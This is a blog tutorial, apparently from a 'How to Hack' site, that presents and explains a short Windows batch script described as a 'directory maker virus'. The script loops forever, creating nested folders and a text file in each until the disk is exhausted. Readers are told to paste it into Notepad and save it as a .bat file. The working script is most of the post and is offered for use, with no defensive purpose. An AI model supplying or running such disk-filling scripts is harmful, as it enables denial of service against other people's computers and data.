Quantcast
Channel: How to Hack » Windows Hacking
Viewing all articles
Browse latest Browse all 6

Batch File programming tutorial 5 | Batch file directory maker virus

0
0

Batch File programming tutorial 5 – Batch file directory maker virus

I have been posting about batch file programming from quite long. Batch file programming is very useful and easy. You can use these files with any other programming languages too.
Do read all of my batch programming tutorials to get a better understanding of batch files and batch file programming.
Here is my next tutorial about batch programming. In this programming tutorial I will teach you how to create a folder creator virus using batch programming.

 

Batch File Coding

@echo off
mkdir howtohack
:loop
cd howtohack
mkdir howtohack
echo>batchprogramming.txt
echo Virus in your PC>>batchprogramming.txt
goto loop
Copy the command and paste in notepad and save as anything.bat

This virus will create infinite folders named howtohack and batchprogramming.txt file into the howtohack folder until the disk is exhausted.

 

Explanation :

mkdir : this command is used to create new folder .

cd : This command is used to change the current directory .

echo >batchprogramming.txt : This command creates a new file “batchprogramming.txt”

echo text >>batchprogramming.txt : This command writes the text specified after
the echo command to text.txt file.

:loop
commad
goto loop
^^^ looping statement in batch files. In this statement you can replace command with any number of batch file commands.
Do visit this site :
Bomanj

Leave your feedback and queries in comments. I hope you like all my posts and my blog. Share how to hack with all your friends!


Viewing all articles
Browse latest Browse all 6

Latest Images

Trending Articles





Latest Images